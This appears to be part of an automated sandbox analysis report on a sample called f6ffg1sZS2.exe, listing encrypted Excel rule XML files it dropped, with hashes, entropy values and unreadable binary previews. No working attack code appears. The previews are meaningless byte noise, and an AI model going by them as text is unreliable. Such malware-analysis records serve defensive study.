.....c.yvB}l.?.%.E...z8....[..343$...;......O..}...9Z8._..e.0.......Q4./+....Y.:b.E....2T..T.]...X..........V.*...S....3an...d.%1.'7}jt....y..Yd...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690305150551908
Encrypted:	false
SSDEEP:	12:5qrEHydj/0qAOgZ46bL+uLHp4lAsDaOCG6Ks2B803mmYn1ib0gS2cii9a:f4j/046f+POOVd6b2B80Wmwcb3bD
MD5:	6E23BB66D5D687D4377E9AE7D99928F3
SHA1:	945FFDC661E3ADC2E634A8457D1E3F83071BE398
SHA-256:	C1A4A13CC2DF754BF500FFBC5E0F7C7FA572C824AF07C635B7198D7262C33ADD
SHA-512:	5153B88AFEEE02B4A407BFB47580F3DC826FDFD9637610992BAD24002A21A4BCD15FC9C7E000E080C3517F8012FCE5DB5706986E89EBCA54340E06D0F0E8D113
Malicious:	false
Preview:	<?xml..T..TI...g.....Q.t..v..cI...q..-...d.F.m).0@C.........P......)j...Z..K......Y...b..gw..........\.....5..u4...\|...d.s..mO.+C....G..a...U...b=gIt..xi...wr[.....pg..Dej..!./...x..bD..x.u....{_.....?C........2..... .....n'..L..w.?}......=6)).......,..\|u...i._3X4.s.....=.m..!. .+NK..........W.G'..........AsJ!3.... 1R...c...n&/...E.7.5>0..]7..?I.z292Ab%_...}?p..;..o`o.3.V...i..h4.<%.n1s/...2....d.LY..stG..^..B.h.......3u..oq?[...3.6....#.N.BKO.1.1o.%.=m...'.\|....q.<..8...y..%b...?..X...6._ f.\|.c......!.. .....~..uh..m..=:.k\.8U....~.........]At..+..%..^..t.j4N.I.u.D.......L.......qu...o.J...JiL...i>.?.z."..T.x.....De"...........LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.728394505713199
Encrypted:	false
SSDEEP:	24:Wc+NZHjYEBVKLy0AzKD9O82N6aW403h8GWBZemUbwkbD:Wc+RB4ZAo9aN6K03h8GGZeOuD
MD5:	A8A62FB15DF899047D2B4B9AAC87A385
SHA1:	E9A18A316E16A1ABE9CFF1E662E542522E2001ED
SHA-256:	382F3D6054DE2F6A84BAAD2EE75B956A4C6C2545F2E905126A1538F23FBA02FB
SHA-512:	B25F0A12610A9A04BA691B93649BA6656AE9BE6CA0BAB520C5411F8451C28E78137C8013570C77CB73757F29291EAE2681D35C6757520B1A7DF57BF27E485510
Malicious:	false
Preview:	<?xmlZ.Vj.....{......o6..2.Z....G+.W...}z<..\\|...z.o..o.H..O.;...L.DfH..9.yD..d~.3i....'.....Sw}.y.....^....OW....Sw.NpRc.. ......5.,v.RO..7...{#.F....N]...P...A.;K.]to..Ek..N..n.....m..'....A..1_..rI.....8g-...B\.(...'.......".ia.:......A......m............4..kma;.G..9#P!....#.E.;!.w......1F...P./b......].~@.H..y.Q..-.._.J...\|..^Xp.C.)...#......Zw..........g.!..}...H...#3&u.i&..pl.)....lv.h.&:..KR[....]N...d.....`..u.....3.?:t.oj.k....F..-.i.g\|~.V..., ....xl\|w%.nTQ.^oAt....I...&....C...d.v....]s"`...b.>..{p.....M..d..}...."!.\|.~>.N.[y..........6.=>]..X.J..T.)}c..l.l:....-.d=@.f.H..G.#....V.?.....g.....R..e,...#Q&A4!..\|.B?....$f.7l.$..:.w[N..}a..l...F.............x.9_..k..J...s.i1.....y..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.706768657612071
Encrypted:	false
SSDEEP:	24:IDRjSlk8xs+CanY3vqQsBUrxRqj9kAdW6ybD:XRxU3vqQsh9sdD
MD5:	CAAD3B964CAEFA872AA43055CB87BDDD
SHA1:	CF5CC85E8C798BE175FFCAA860418CC391E577FB
SHA-256:	E685461508D3DFD47818EC87102EC033F6360D91E900198E59CE9B33CA2A11AE
SHA-512:	DA92299DFA6E8D20AD34F70429E3EBF408241EEACEE67547B74ABADB293F48AE5C73B8C079FC78DFB6EA0AFF10215DE6CB8E76A1E6883D29130ADF2D4E1D6C85
Malicious:	false
Preview:	<?xml5&..F.Ae....tC..tiR....l.+.q6..U....%.L w..7.kR\|..R..vq.?.}."...A.X....,.5..f..[`..K.3..k.Yt.h.1....$.#..D.."G...#9.....(3_.......wAE.....j...q......S.....B..........E.R.C.4.........K..7i.]U\..0.l..BR...Y..2.\|h`kXG....p.;...........Iw...dH.MZ...W..E..J.T.s.QD?KD.....+.0![.w.L{...4..a@.y.'....`..m{.#"t`.$.9l8..".....7.c....]...T.....m..j..L.I.J.l....K.;M....G......C.C....Do..6......c...@..t..n...g[\ep.]...F..!..nc...Sm7V$...M...%.e...M..l}n.9........M.......0k...........o.9..{.]P]G.[......<4.......8q....9S.y..\|..qtV+.r.]..FAm...\.../q..u+.P....4...6.......[tv......"..of.$a.N..q....k...;)..I.......na....4..U.......oj..d.?5...............X..-8...[..s...jmI..*Q...~.z..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.769393911532674
Encrypted:	false
SSDEEP:	12:en/bXiERthxya4flc2mWELxDHdizbxuXc7gMVugJSevjGrQN36pm/CndS2cii9a:enzXFpJ4flnDE1D90xu/sxqrM6p3nVbD
MD5:	6E3444932E301612D2C95F0D84AE08CC
SHA1:	E11E1FE17B1F1EF0AEC98B62E67E973DD48F5009
SHA-256:	94641B1FAE1A70490E05182A4D6E4E9DA626290E3BE840712FAA29D3C11E1937
SHA-512:	0E9186CC5013B69FD658AEC18D514A9E99120D99972DB015842A21EBCCFD1010E3F572822C540031C7D530D5C833F94EA36BA20C70168B1502B87366279C7704
Malicious:	false
Preview:	<?xml.mj...&W..n..!....X.....PJ.1y..5...\|..Z.a..~y..2.qGP.....nl..6t...[..O......ks....<.... b.&..a...,...J..Y<......f.:....o......E.....7..O....(....../....@....2y.0kAf..%.3....`.me.Kx.....h;.K..p.......'@yOtB....^8Z^.^....o..6.....N..z.Y.....T.M_.s..Ex_5vW..=~.4:.j..]ja.!B...X...~.C{!F.2..U.R9.7oI.4Z.\Z..d.,..RhJ..Y.....4..8..N...?.\).$.p#.w.......N.6.r.8..-...a..{.1.Lt.f/~...S..u..WA.du`.U.7.L...i...............2...f..(....jM%.>.e....m0..s...B..l..7.^........I....B...w!z...\|..g.."..eU5d.0.."...SR.Yo.h.^.es....ng.........bi..v...g.D:...T..N..`6<.ER;./..c..j.I...b^.O..o....`..W.O.l...jK.FT.kV.-..z..U.C..[jV..hku..T..1v...3g....=..4g.-......B.\|.9..M..2O...B...`.8..6v. ........~..v....%.....\|....s.)wb..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.719622902163705
Encrypted:	false
SSDEEP:	12:8jhbiQvyYxt9ozaRlzkVTciBgPycB2YBIt0WS/hjGU1E3daAS2cii9a:8Rik/OClzcTciBaycEJt0WSNilbD
MD5:	75F9207B08AD08B50896BA2F8E0F1FDC
SHA1:	9CFFC58446314A814D4778EF3C857FE3DA8980F8
SHA-256:	8A908462E853FA19B3F9FE8B5595850730112D0F334E8C8C669519793737032B
SHA-512:	BC708421576D19F438D47571B1C33F7ADBD3C9D48D5CAF9244482B92DAA0A85C03A7BB80C60845056CE1451C6FB9F4043B6DBA02C5AFF933B69E736C7DA47A86
Malicious:	false
Preview:	<?xml.S...g3_K.7m,....{...R.@+...f"c.l..b.....66.V...........>lC[..%.q>H...{...~s.].dU#f.[.O..=O..Q.g..^.....63.....&1.....L...4.V...F..u...4.`..z.....yO..DE2.......@.....EA.2.V.....g...%dJ$..."...o..o..>........@.. p.............>K....^.p..:.?..(`f.(.d.PS.\|5U.d...n.IfZ5..I<t.Z...R &o.en.....(..(............=..a.....<...=bpZ.x..3...G...8....'...*o+x..x.\.3\.......n.FQ...Mr....}.4.l...5l...-..N....(yU...a..`ZRJ..&.O.....,..f.`n.....N.?....b...=..jeu.g..z..'....!....8.].........x.Dk_..V.~?.Av...W.PQhJ.k...c].S........0....X.^.2..&....v. Q.......#.B...WL... ....j..DMh.\.Or...[.$,.....o..+F...D.p:...je.$.M....d..Z...+.9..t.~LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7301800298085
Encrypted:	false
SSDEEP:	12:DnIK5r0Myo3JLDHLu5xdWP0O1OlKqncQcs6CVTqFDjLnI5NA8APQsS2cii9a:UK5rL1yWMIXqss6MTs6AgUbD
MD5:	77D0E4887CE8F622D70E36B1A1845E30
SHA1:	4269A36695C86EBD4551A56F81E2BC0E6062501B
SHA-256:	5FA031A5C2DB0354304F4D630F429A06E825A480638448476BBDDF03445CBFA3
SHA-512:	46D461A7AA20ED402EED7CE640EF3EA2238477B772DAF90CFAE166A51EF115CA03E5BFEA36EE79086A5775E76D5D0C4BC50B441DA533FADA12B825413B33B574
Malicious:	false
Preview:	<?xml.D.H.oZ.....U./]...y=..Rm.PxN.K.H...[.m.L...$8..a.....gS.`..f...~>..0$Q^m...6.J.....F&......t.......}...n.`....80..`......G...P}.&..-..O.E.H.E=:.J}.Dk,.&.._A..x[.P.3[.Q.4j.$J&.m....G...>_'.(r!\|.......t`..R.v...?n.+................dZ........G.....OFp.....}3....9G...I./.e..f.X.O.h.....%A.Z..m..]...s.....)$4..{k...r(.WJ.8e.2..(-i......!.9n+$g...(....B..CLs..2.:.0Z...koW....GF...c-..@......a...A..d.._...y."{0}.#.............Y.I~...{@k......A."Iu.M<X..O.....4...K......?R.....B.fq~.h..y....4..fNn$Kio..J.....gp....DB....4.kq.u9.O......g..Ry..nq.0.Q..*o...c&....eeN..q.j..k[..t.m.l......\t..8..F.pJ.I...X...\|...<...?A...s.....Zh.%YJ.i>\|....\}.]...%.R.k{..f.....o..F..A...Q..m9N..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.721245236022578
Encrypted:	false
SSDEEP:	12:8s7nSozNddMyY9H15ra7iNIvJBvjOndNpR8ICkA/UYSjuR7ncrFBB05COnS2ciik:NSo3dMFHveiOvGHU/UYvJcJ05d3bD
MD5:	014444C801E4DA0F79EB54870A93204D
SHA1:	BC879C59118E7459767780F78B54C1DC9A348096
SHA-256:	1CCF8D1229B7E63DF739AE465D11C4736FF5EF75B648C5FCE4A9FBD4104FA9FE
SHA-512:	8E330EE1D34F513CEABFE08FAA959E0F1E1A0EB77ACFFACB65E42D15A2F5F6259BE27DCDFA0B23D8D220293D4DA172366E5D20318EF7727430D690F84A942ED0
Malicious:	false
Preview:	<?xmlA..Fn.d.0..;P...J_..l....gm...D...c@,..0C..}..nP.PN5.EM.o...T..g.#....m.4..oj.W..-WP........:.W.jb..G%"ms.....)u.H..w....`....5..xFJ.......%yd..[_....j=jr'..[Z..R...%..{;/............3u.n.B......S.:....A............![.E.Qz.....b...#....j....GwO....l._..0a.UE..i...]c.;...u..{....v..0*.i\|\!`1/UR..(.J.D.b..i.G....j0u..Smu7v..Q..G.NB".9..V........... ..8l2.tU...#^.XL....F.^........8.........i.g..H.[3.~A.~.._?..F.Oqz.H..L/...K.YE.& ...]i5....u...U...C...Z.h.2...?......alr....._Z...n......".\LN..k..-........u...1V...!..+..+P...;..Vk..6.gn...RbNF.. ...1z...x.T.d.)y]..$.K..m......Ri5...f+o.....Y.C............N..v.._LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732790443753089
Encrypted:	false
SSDEEP:	24:5jXeTltBar81W1ihM28XuvtK8anuzKwZUIryVJ/bD:5QHArMhMvnuzKgNryVpD
MD5:	085D02BB47352D1A994092FD99B802F0
SHA1:	B81FED5362A00A6B759A70C40FE0037F395D7A30
SHA-256:	CF8930661B83FF4272E8A95125AA4C3D81EFC39617F00D85FAAF614DD72F5EA9
SHA-512:	5C30F091DBC8F7C918F4B444AE2737B327EC1ED7A854B319F370E50C6637B5C2717A9C3F0A40B7D3A89FD3D8FD025D0AAFB47A18C7DC3F3221F7B3C2F261C330
Malicious:	false
Preview:	<?xml.P.)x.veF.h....l..`^\=..>}.00:..._...k..Y=0.>.t.`.`(.......&...t.!...k...j..3.+...{.h4.3...eI..4d..u.b.x.Q..K..y.CAk.....r....5..`.8.N^/<.l. .kTbk..T.....?...7..<...r....LJk.p....N....b\|.....;.~...;.........}>..1..un....O..iRW(..I>R..v..5.9b.....c6E1q.r...).....;~F.".~Q....IK(.k..o...UG_G`6.\j$.......Jv.7zqeo[.Vx. l......E.!.S.I.....[....~.3.c.u.........cu.i....()N.!.......c{.......{.....c......Y~.M.i\|..7..1..s.-..X..Z%.X`....7y3..q-..m.ky.."C..^Z.......;.M....`Y.ML.^..X.3G#.e]>w&.AR.....2&L]'l.c.."?)....vP......G....yo.eI...>s~j..z..$..g{..T.;.t.]....t....Y3.K......]....O.~..p....5z..j..\BD.P...%.]......T..$..*..._.p.Q...Y/%-.Z.. ^.mJ%....:..&.t.Y`..`..d.Y.....]...........0...w.Q[LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.670227775362366
Encrypted:	false
SSDEEP:	12:WhW53C4+T3K7pIm+9uyQN8gA/CZO7foNqpR5KRXbL7aAvu50iS2cii9a:mWU4+j+pImar7CU7foNSRI3vuJbD
MD5:	E3DC66B38F1FA9BCCD3FE2AC95C0733A
SHA1:	3DD84C54DBDA185CED46E8FC39F154AA0DAC2E3A
SHA-256:	D9074E3AFF1CA07480F983DFAF2960C6AB7851FCF1A9749389C283838FBE6FA8
SHA-512:	3AB8D848AC980070EC157D6B4A96BECAA5E904ABEC5D366364B6A31D801309DCB80507A1C4BF26315D8DF110BC915AB870A317440F26A4D47752B9F8179938AC
Malicious:	false
Preview:	<?xml...F..J..G.Y..\|.N.t..^/>......&.e.%f..W.K.i.#\\|..&.F...........Mvq.J.#.S....u.........Yz.V.b..E...e.,t.Y....A...$...w1.@.7.}v.-.......d.}$.pHc./.....2.D.yyd..Q-...MC#Z%J..~{xB\...lBPy....MR.{h..."r..^[.......q.Z.A..H.a....m.... u.K.}...()..Q....X...aE....1L\.)X."...T.r.t..fAi...[$..]'...0b5...T.r.&f..>....L....@@......J.'..]4...L..&..u..u.fp....N..d........h..l..\|..d.i..{0j...+....m..E........]e..v.r".tK....Xs..J......}/....H!.#]w6\.UJ..,7.l\|&)a.@[...a...GQ.}J.Z>.....h.}+.4...m\|..Bv(........D..Kh.,.e.D[.zl...yh.$.%.`.t...~2.l.l}..L..<m.:.ip........0..........$.....~...CS..Ez.2....q...t.Z....?..u.J._Lg.U.^G\2-Eq..@&..Mp....'.x8.I.\|..T4.Mx...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.721981309750924
Encrypted:	false
SSDEEP:	24:HRL4bM3+ncZAFmY+s/MvsxeQ+GJ/aiKFBsbD:Z4wtAFmYv/asxeNUD
MD5:	642D4F37AB63AA8070A1380E16725E49
SHA1:	2457483777785255D19FE4038BDABF4DD23A12D8
SHA-256:	F7581D231CCA2513E5CA455F1EEA7A6B655736C31CED3359F923888FC7ADE883
SHA-512:	C49863E61D4A0CFFDF508D7FE48FDC3E77C410B10D1DFEC230FC63D0445435B66DCC6A3571F98AFAF5361D383F650D2424A9C2BD76678D04D6A61FB874B1CF85
Malicious:	false
Preview:	<?xml...[..........L..2.!.2.......92.6....I.S.......^...d-.9......t.v.\~.KEz.T.00A..uP.....U..&px....9._...._......r..6.+h{.8'.S1i.i,...6.M...d....3d.2<m.$.I5.8..X..=.7...v#}...uV.x...@....v..r'a...w>..n..6\.K.....6.8..v..;U/h..\......;..0.l.S..1y....:...Z{6.+..S.e.#..6&{..4..).....7.L.MN2f.s.)f...&./).`.[P.5..5..#(...R.r{.Dw....C..E:....g..W..^ ....=...........J.........9.:....`....X=.....`......$.S..\|.O......._.....G/.h.........9...B,.(#...f9v+.7.....>Te..zB..$W.Q.0...#..Ws...m....]4....9..R.-}E..;..+.$.9.Q...,J.._'.Q.&#.F..<...P.....&8....io...B.E...]6.K....Z..6....k.l.9...Z.M{.)Y..l.....j^#H.L...9Q...y..p.R.Y.o....@O..;.#.....L..&2..V.B$X.B.....nU.<..b.....n.......ra\...p.......r.t..e.2.......-.\|.:....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702765803720079
Encrypted:	false
SSDEEP:	12:MkgV6kNd1MfQsR9OtbsSrgI3IZEsx4j1MUsGHUf0eix8WcCVj14oKWBQQgWgn5Sw:p+6I1uQsbOlsSrDtf1MTGH1BCCVjmoKZ
MD5:	BC63AD61013C6464AE113B4E3A27A41C
SHA1:	2245BE87A76F3E21CD04D3CD89211A287264EF7E
SHA-256:	F16FD5381FC9B7BDAB9A74E6DD4E10514C598F37454576ADB9C3BEED7F0ECE22
SHA-512:	382AC5EE4C39CD3D6F33F390FD33FC2B6F44EA8716D101BFEE9151B9922E890CF6AC6356063581926D1DA8997107A3F8AA968E29AA162761BA078E6A23DF9C3F
Malicious:	false
Preview:	<?xml..%ZS>.gj.............<ybX..^.....k...-..4..6U.......q....T............J.j.'5./r.,......W.`.....`x.J.....i....Z@<v.4.3q.Mu.6...)..P`H...S)..t.UU.........mV.W.Df.C.y.NR.c}4..I &"H.....T63h..Z.....OD..E!!...E.._..7h...A}..u.r .....G.x...Q16.b..g.A..\|...H.".......7..:d.5.45x...".....wC.g5.<..O.}..lJ.@s...c......!../R?..d./V.4?..N@s/..v..Y.P..._......Q.n,`.sf..]....N.&.m.=.....@g...A.C.....W"...........<l.V......@..L.hm....[..:Ur.H........ w%....WC.G.......o.V....U...7..e....(O.g.....m.J1..L.>zY.+..D....,...$......Py.......C..~....W(...=.q'.t........6)...E.3u.K.w...:.....6.#.s9./.......__..?......9R..[.24.{1."x:.....lKYv.E}......^..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7751251528957654
Encrypted:	false
SSDEEP:	12:ENEbD4aP9ej/K57JTstKYqBgqhBXGFVEs+jhXvdRkZ2m1AeUQbZRMo497pud+S2X:iZjVbqhBTjlvd6ZQQQ78AbD
MD5:	63B91CA67A0DD61CCCB7173C0F83EE3A
SHA1:	DE1CCDE46022BEEA3A35CB21D63304EF005287A3
SHA-256:	2E0BDA417B8965EB0F13C59C1B9B82C974EE5D5CABCE7927B7E78958756B6D3B
SHA-512:	D209AFA6A22C52E8CA35A3E63BEEFE7332EA3A814F10C5FF89115F68AC2502EB0C5A1D5F42D24BBB8E9C8C4409C42EF930CFA89BFCCC038CBCE8FC90AFEB1C08
Malicious:	false
Preview:	<?xml+.d...4...LX..p..}....Bih......J.'..}ZJ\|.c~.C.+..K..L`..0=..j.k!.....^.D.b.....dC5t6S..h...YxQjQw;k/b&.`.0.?.@.PY..u..AS.n..%$.....Rqh-...........`......@...:`..:.AO.^...q....U3....VMn+..+...u..CbY......F^......E.J.(....o...A.v....^.n"...3......".....BD'...s.L.......A...\|...=....;..xx.+.G.....R._;..{V..5...K.._...Pgj'Yl.=O..A..u....%.<...y..`.c.x.{.K3..'z..\z...l...g....F,....`.m.....ux....b...g.`........x.5.=.v.....Q0..>'.o.u..\...Km...'.OS.[.;.G0.k..=.+..X.AE.b.2.N.P.&B.j.\|. zW....Bs..!1.!lM1u..(...S..f...)..2..2cn..`<...:...l.g3...O..S>.... ..9..E{..y..g.,md..r.5.....Z.E....3.I#..#t7...<.;.W....!L...*..N.-..Z./.-.>$.u..~O.V...\|..}9t....G.....W............s....[....;LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.665223376539003
Encrypted:	false
SSDEEP:	12:2h8jKxhWqmWoYjass0UaT4WNiV3bBeGVwcprgT8wHqLQ7oPove34x4TkMNdS6fQA:rjKx8/+s0Uq4Oi7RTxiHqU9W3MYJov6n
MD5:	398C599328B1681246507792AF666B8D
SHA1:	3D4A828F6A589A9CE99A1DDB3E3D609D4493F761
SHA-256:	B1DB6576A1291A68A3FE8F408561859F706F2E2A47B7991C7B0FB728D488BE01
SHA-512:	60952501FE800B1744378B2C47476F9C12CCD918A3BB0D656A58FC2B308A18B23EF50334AE5DE3997E369BA17659EF3F9E143074F4FF6BEFDA116C58E0C8A1C1
Malicious:	false
Preview:	<?xmlh8H.!.8Q..........`..}.,..vgB?...D..jD..]q........8...$.{.\|..f..L.H`..U.P?...V.....'...9Pox.a..$]qvy_D,.U..V....P(..@V@.....X.D.5..>A...kE._Jg...h..([.8t:.Ft\..../.e..2I.zU.&.,.9..>.G...3[..M..e..C..(.b.9..Q..W......,3..\br.E..\...AJ...l<^./$.q.k-. ..MF....v........6.....'..Y...:..h.6.k.xX......,..[.-A\E...8sT..-...a.....Wb.ssG.L......u...y.S..n...3..s]f...w..u..+..C..=O....rs./."V..j..I.`....Q.m.B...'.LqT.<ZQ.....Q;.v.....$h.;......X.\|:Q.s..}R.........f..A....Nf..o..p.B4.....D.$.............6?H.uv.8.. .I[.....n....Ttsd.I.$...Z...Y.......e.....\|U.0U.._}.....Ak.*..&..m...1.jJy...BT.......F:...=Yq..~...UL=..V'.)j[C...[.I......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.744764964609511
Encrypted:	false
SSDEEP:	12:4Ng0IbaoM57hwdyOTB50G1OuJcf7gbj3oXz1+7LMLFAq4teUCSInJJw6X7NuP3u6:KgKoFYOTB5L6fR+fMpzzSq7k3uIbD
MD5:	1D97AB47729821754798CF8C6894403F
SHA1:	7E71F94A241CD9534583B537D2E321DFF148A289
SHA-256:	73607F4110D54CB1FC593995E36C5FAD08D4DAB0A60D75D9E11830C7259B6489
SHA-512:	AF590A498E08468445016D341FC3456E2A0CBCFAE9EBCD4CE0CCAA17A84BD345595C89C41EFB32FED0476A3C52026E8793E2EC5E2365CDEEFC8A165B435B93A2
Malicious:	false
Preview:	<?xml.c.u.9.,..\.,d!..I.:..8....-jqt.z+...&G.2..1l.9.....z.3!..+.1`....@(...'......W.......T..2...).;.W=.5X..u.CQ.."eH.4....{.o.>M......lT.\..g.6...F..]...E...y.....c.0....x[).G...m.J..X...kF.,.o..W.&E7]E...]..iMW.6yH...L.Yy..Y.,.C...7b.@ .....<......:.ip=...,;...n&...D.........&.N....k...w....[8'..)......h@....W......]....7y n.J...hA.U=.......v!~VI.v..}....'..O..o'P...f....j.HS....v.J....x...9...{V}+(.5..r.[{...=.... ...$...j...K..f.r:.bEJ.u!.3qJG..hd.............0t......j.?4y."M).a:..a..y........>.O.N..Id....'...Yg..+2........Ks.c..'..F..Hc04.\e.]..,.PUI..=5.#.....$.f..XW.du.^.2.d..2..B.Mf-E%....i.H..["PZ......i..Y.v.`.$.....\.......L.b.N.h.k...\..........O..i... a.OK..c=9..Rn2...b....XJ..+LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.72636966313954
Encrypted:	false
SSDEEP:	12:fXU+N5CHTXh//zNZ7S0x5ilP/HEe6usctpfLSQgoPiGULUPC4NML9uztcvvS2ciD:fXU+Ol7S0Evb/f/v+UtNMhKtcXbD
MD5:	10C22E7E425B23D06DDD00961F28622E
SHA1:	C5386099E180E915FCE9361DD548CEA286D35C63
SHA-256:	CE21FD33206B18AD6462E328F592CBCEFBC3C4D477264A30174314080B1A9C28
SHA-512:	49DCB026DCF0F163C12D22F1634669C459C91E363F6293183812A668C83AABAECAF52FF741E2AF03F653F555FD30596E187A7CE7E2C2C3F2AAC7D90F1964EA46
Malicious:	false
Preview:	<?xml...j......\y..]P.N.>.J....c....Yp560...n..^.MO..=.s1D..HW...q...0k(f<....B:..;....":'.k_^.z+..e.um..Km.UY.fM...7...=.vqF...r.+y..y...=.J..7p...SKH.X...h.,.\B....G.Y..e..v.?.+;....un.n...r:N.I.q.. 0.r.n....0.]DC..n.l`....f.[.Y...G,..&f.._.~./SZ...m\.....z...xM..Z.u..\|....V*wId.<YW..Cz.I.~.Vvp.s...?.-.........M.w..~c.....E.y........R.....l...r..k.. ._....Z.?2.P....Y.?G...^.-..X...n..GU}z....;..g7~..KdZs<1....!k.H.+a.=..^........}.{..n....A..C....a....-..ji..\|..T...2.D$K..."L.%....<.....\|.U.Z..b...;../Fs.......$...p...A.k..1.D...X.f.:........v...l=P.UA[.P3}!0...US..T..b?.{.e..M....Y./......lO.9.}..$.<.[.H... =.R.W...Hq.\|6../....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.685039272264521
Encrypted:	false
SSDEEP:	12:AOHLU0q+zChnfnAeoybOBZuX8cvJp9KXx6Z2nDNwjziR/oJmyELjcsuqc9/eRKWa:pr9VEdJQZBCpkx68nx4GR+4LjcstobD
MD5:	BA102761696DFA1D8BB8661DF8798B25
SHA1:	146436F22A4C08925B3256CF2FF8C44BA870AC8C
SHA-256:	0EC05F167A273A969386B047846BB73236EB561B3B818CD84A2A61E711E8904D
SHA-512:	CF522A768CD4FEBBC3A9B02704F5545BB377D858B5C34007A1DCCB525EFC5B871FF47FE0723324AEE322B4067F7105C46DF607303D12B7DA57A5D1F358332154
Malicious:	false
